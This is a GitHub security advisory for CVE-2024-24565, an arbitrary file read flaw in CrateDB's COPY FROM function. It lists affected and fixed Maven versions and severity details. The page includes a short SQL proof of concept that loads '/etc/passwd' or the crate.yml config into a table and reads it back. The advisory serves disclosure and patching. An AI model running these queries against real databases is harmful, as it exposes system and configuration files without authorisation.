GitHub Advisoryadvisory · Maven

GHSA-475g-vj6c-xf96 CrateDB database has an arbitrary file read vulnerability

MEDIUM Published 2024-01-30 Modified 2024-01-30 Official page ↗
Aliases
CVE-2024-24565
Ecosystem
Maven
Packages
io.crate:crate
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Weaknesses
CWE-22
Reviewed
2024-01-30

Affected packages

• Maven io.crate:crate: < 5.3.9 → fixed in 5.3.9 • Maven io.crate:crate: >= 5.4.0, < 5.4.8 → fixed in 5.4.8 • Maven io.crate:crate: >= 5.5.0, < 5.5.4 → fixed in 5.5.4 • Maven io.crate:crate: >= 5.6.0, < 5.6.1 → fixed in 5.6.1

Description

Summary There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system. Details There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage. PoC ``` CREATE TABLE info_leak(info_leak STRING); COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false); SELECT * FROM info_leak; ``` Impact This vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters.

Related

Alias · CVE (1)

  • CVE-2024-24565 CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References